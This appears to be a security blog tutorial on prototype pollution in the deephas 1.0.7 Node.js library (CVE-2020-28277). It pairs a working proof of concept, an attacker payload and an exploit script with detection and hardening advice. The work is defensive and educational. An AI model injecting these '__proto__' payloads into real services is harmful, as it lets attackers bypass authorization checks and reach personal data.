During a recent audit of a legacy Node.js microservice, I identified a recurring pattern where developers used the deephas library to handle complex state updates. Specifically, version 1.0.7 contains a critical prototype pollution vulnerability that allows an attacker to manipulate the global Object.prototype. This vulnerability, tracked as CVE-2020-28277, highlights a fundamental flaw in how many JavaScript utility libraries handle recursive path assignments.
Defining the Prototype Pollution Attack
Prototype pollution is a vulnerability where an attacker manipulates the __proto__, constructor, or prototype properties of a JavaScript object. In JavaScript, almost every object is linked to a prototype object from which it inherits methods and properties. If an application merges a user-controlled object into an existing object without proper sanitization, the attacker can inject properties into the base Object.prototype.
Since all objects in JavaScript inherit from Object.prototype, any property added there becomes available on every single object within the Node.js process. This can lead to various outcomes, ranging from simple logic bypasses to full Remote Code Execution (RCE). We often see this in environments where untrusted JSON input is passed directly to deep-merge or path-setter functions.
How JavaScript Prototypes Work: A Brief Overview
To understand why deephas is vulnerable, we must look at the prototype chain. When you access a property on an object, the JavaScript engine first looks at the object itself. If the property is not found, it looks at the object's prototype (__proto__). This continues up the chain until the property is found or the end of the chain is reached.
$ node
> const target = {}; > console.log(target.__proto__ === Object.prototype); true > Object.prototype.polluted = "yes"; > console.log({}.polluted); 'yes'
In the example above, by modifying Object.prototype, I have effectively changed the behavior of every object created thereafter. This global state mutation is what makes prototype pollution particularly dangerous in a multi-tenant or shared-process environment like a standard Express.js server.
Why Prototype Pollution is a Critical Security Risk
The impact of prototype pollution is often underestimated because it does not always lead to immediate crashes. Instead, it subtly alters application logic. For instance, if a middleware checks for if (user.isAdmin), and an attacker pollutes the prototype with isAdmin: true, every user becomes an administrator.
In more severe cases, we use prototype pollution to achieve RCE. By polluting properties that are later used in sensitive functions—such as env variables passed to child_process.spawn or templates used by engines like EJS or Pug—we can execute arbitrary system commands. This is a common escalation path in Node.js exploits, especially on servers lacking a browser based SSH client that enforces zero-trust principles.
Prototype Pollution Walkthrough: How the Attack Occurs
The core issue in deephas 1.0.7 lies in the set function. This function is designed to set a value at a deep path within an object, such as user.profile.settings.theme. However, it fails to validate if the path includes the __proto__ key.
The Mechanics of Object Property Injection
When deephas.set(obj, path, value) is called, the library splits the path by dots and iterates through the object structure. If the path is __proto__.isAdmin, the library follows the __proto__ reference, which points to the global Object.prototype. It then sets the isAdmin property on that global object.
We can verify the presence of the library and the vulnerability using the following commands:
# Check the installed version of deephas
npm list deephas
Run a quick proof-of-concept exploit
node -e 'const d = require("deephas"); d.set({}, "__proto__.polluted", "Hacked"); console.log("Status: " + {}.polluted);'
If the output returns "Status: Hacked", the environment is vulnerable. This confirms that the set function does not block access to the prototype chain.
Common Entry Points: Merging, Cloning, and Path Assignment
Attackers typically look for three main entry points when hunting for prototype pollution:
- Object Merging: Functions like
_.merge()(lodash) or custom recursive merges that combine user-provided JSON with configuration objects. - Object Cloning: Deep clone operations that might traverse the prototype chain.
- Path Assignment: Libraries like
deephasordot-propthat allow setting values using string paths.
In Indian fintech environments, we often see these patterns in KYC (Know Your Customer) data processing pipelines. A developer might take a JSON blob from a mobile app and "merge" it into a local database record. If the JSON contains a "__proto__" key, the entire microservice becomes compromised.
Identifying Vulnerable Code Patterns
I frequently look for code that looks like this during static analysis:
# This is a conceptual representation of the vulnerable logic in deephas
def set_deep(target, path, value): parts = path.split('.') current = target for part in parts[:-1]: if part not in current: current[part] = {} current = current[part] current[parts[-1]] = value
The failure to check if (part === '__proto__' || part === 'constructor') is the root cause. Without this check, the loop traverses directly into the internal properties of the JavaScript engine's object model.
Practical Prototype Pollution Example
Let's build a functional exploit scenario. Suppose we have an Express application that uses deephas to update user preferences.
Scenario: Exploiting a Vulnerable Recursive Merge Function
The application accepts a JSON payload to update a user's theme and language. An attacker sends a crafted payload designed to elevate their privileges.
# Attacker payload
{ "path": "__proto__.isAdmin", "value": true }
Step-by-Step Code Demonstration
I have prepared a script that demonstrates how deephas 1.0.7 handles this malicious input.
const deephas = require('deephas');
// A standard user object let userProfile = { username: "guest_user", preferences: { theme: "dark" } };
// Malicious input from an untrusted source (e.g., a POST request) const unsafePath = "__proto__.isAdmin"; const unsafeValue = true;
console.log("Before pollution - isAdmin on new object:", {}.isAdmin);
// The vulnerable call try { deephas.set(userProfile, unsafePath, unsafeValue); } catch (e) { console.log("Error during set:", e.message); }
// Verification: Every new object now carries the 'isAdmin' property const newUser = {}; console.log("After pollution - isAdmin on new object:", newUser.isAdmin);
if (newUser.isAdmin === true) { console.log("EXPLOIT SUCCESSFUL: Global Object.prototype polluted."); }
When this script runs, the output confirms the pollution:
$ node exploit.js
Before pollution - isAdmin on new object: undefined After pollution - isAdmin on new object: true EXPLOIT SUCCESSFUL: Global Object.prototype polluted.
Analyzing the Impact on Application Logic
Once Object.prototype.isAdmin is set to true, every conditional check in the application that relies on an isAdmin property will evaluate to true for every user, unless the property is explicitly defined as false on the specific user object.
In a real-world Indian banking application, this could bypass authorization checks for high-value transactions. Similar logic bypasses are discussed in our guide on building SIEM rules for web-based RCE, potentially allowing unauthorized fund transfers or access to PII (Personally Identifiable Information) in violation of the DPDP Act 2023.
Comprehensive Prototype Pollution Guide for Developers
Detecting these vulnerabilities requires a combination of automated tools and manual code review. Since prototype pollution often happens in third-party dependencies, you must audit your node_modules.
How to Detect Prototype Pollution in Your Dependencies
The first step is using built-in package manager audits. For real-time monitoring, integrating a SIEM can help identify anomalous patterns in application logs.
# Basic audit
npm audit
Production-only audit to reduce noise
npm audit --only=prod
Using Snyk for deeper analysis
snyk test --severity-threshold=high
If you suspect a custom library or an internal utility is vulnerable, you can use grep to look for dangerous patterns like [key] = value or path.split('.') where the key is not validated.
Manual Testing vs. Automated Security Scanning
Automated scanners like SonarQube or Snyk are excellent for known vulnerabilities, but they often miss logic-heavy prototype pollution in custom code. Manual testing involves injecting __proto__ keys into every API endpoint and checking if the server's behavior changes globally.
I recommend using a "Canary" property. Try to inject "__proto__": {"vulnerable": "true"} and then query a different endpoint that returns an object. If the returned object contains "vulnerable": "true", the application is compromised.
Best Practices for Secure Object Handling
Securing your code requires changing how objects are instantiated and how data is merged, aligning with the OWASP Top 10 recommendations for injection prevention. Relying on default object behavior is often the source of the risk.
Using Object.create(null) for Clean Objects
The safest way to create a data-only object (like a map or a dictionary) is to use Object.create(null). This creates an object with no prototype, meaning it does not have a __proto__ property and is immune to prototype pollution.
const safeMap = Object.create(null);
safeMap["__proto__"] = "some value";
// safeMap still has no prototype console.log(safeMap.polluted); // undefined console.log(Object.getPrototypeOf(safeMap)); // null
Hardening Your Code with Object.freeze()
If you have a configuration object that should never change, use Object.freeze(Object.prototype). While this is a nuclear option and may break some poorly written libraries, it effectively prevents any prototype pollution for the duration of the process.
// Execute this at the very beginning of your entry point (e.g., index.js)
Object.freeze(Object.prototype); Object.freeze(Array.prototype);
const test = {}; test.__proto__.polluted = true; // This will fail or be ignored console.log({}.polluted); // undefined
Implementing Strict Schema Validation for User Input
Never pass req.body directly into a merge function. Use a schema validator like Joi or Zod to strip out unexpected keys.
const Zod = require('zod');
const userSchema = Zod.object({ theme: Zod.string(), language: Zod.string() }).strict(); // .strict() ensures no extra keys like __proto__ are allowed
const validatedData = userSchema.parse(req.body); // Now it is safe to use validatedData
Utilizing Map Instead of Plain Objects
For key-value storage where keys are dynamic or come from user input, use the Map object instead of a plain {}. Map does not use the prototype chain for its entries, making it naturally resistant to pollution.
const userPrefs = new Map();
userPrefs.set("__proto__", "malicious");
console.log(userPrefs.get("__proto__")); // "malicious" console.log({}.polluted); // undefined - the global prototype is safe
Securing Your JavaScript Environment in the Indian Context
The regulatory landscape in India has shifted significantly with the Digital Personal Data Protection (DPDP) Act 2023. Under Section 8(5), data fiduciaries are required to take "reasonable security safeguards" to prevent personal data breaches. Using a library with a known, fixable prototype pollution vulnerability like deephas 1.0.7 could be interpreted as a failure to maintain these safeguards.
For startups in Bengaluru, Pune, and Hyderabad, where speed often overrides security, the common practice of copying internal boilerplates from older projects is a major risk. These boilerplates often contain outdated versions of utility libraries.
Summary of Key Takeaways
- Audit Transitive Dependencies:
deephasmight not be in yourpackage.json, but it could be a dependency of a dependency. Usenpm list deephasto find it. - Validate All Paths: If you use path-based setters, ensure they explicitly block
__proto__,constructor, andprototype. - Prefer Map over Object: Use
Mapfor dynamic keys to avoid prototype chain side effects. - Regulatory Compliance: Patching known CVEs is no longer just a best practice; it is a legal requirement under the DPDP Act for any entity handling Indian citizen data.
Staying Updated on Emerging Prototype Vulnerabilities
Prototype pollution is not limited to deephas. Similar vulnerabilities have been found in lodash, extend, and even the Node.js core (CVE-2022-21824). The latter involved the process object, where polluting process.mainModule could lead to RCE.
To monitor your environment, I recommend integrating the following command into your CI/CD pipeline to fail builds if high-severity vulnerabilities are detected:
# Fail CI build if vulnerabilities are found
npm audit --audit-level=high || exit 1
This ensures that no code with known vulnerabilities like CVE-2020-28277 reaches production. For legacy systems where updating a library is not immediately possible, implementing a middleware that recursively sanitizes req.body, req.query, and req.params for the string __proto__ is a necessary stopgap.
function sanitize(obj) {
for (let key in obj) { if (key === '__proto__' || key === 'constructor') { delete obj[key]; } else if (typeof obj[key] === 'object' && obj[key] !== null) { sanitize(obj[key]); } } }
Applying this logic across your entry points provides a defense-in-depth layer against prototype pollution attacks targeting both known and zero-day vulnerabilities in your dependency tree.
Next Step: Run grep -r "__proto__" . in your node_modules directory to identify which of your dependencies are still manually accessing the prototype chain.
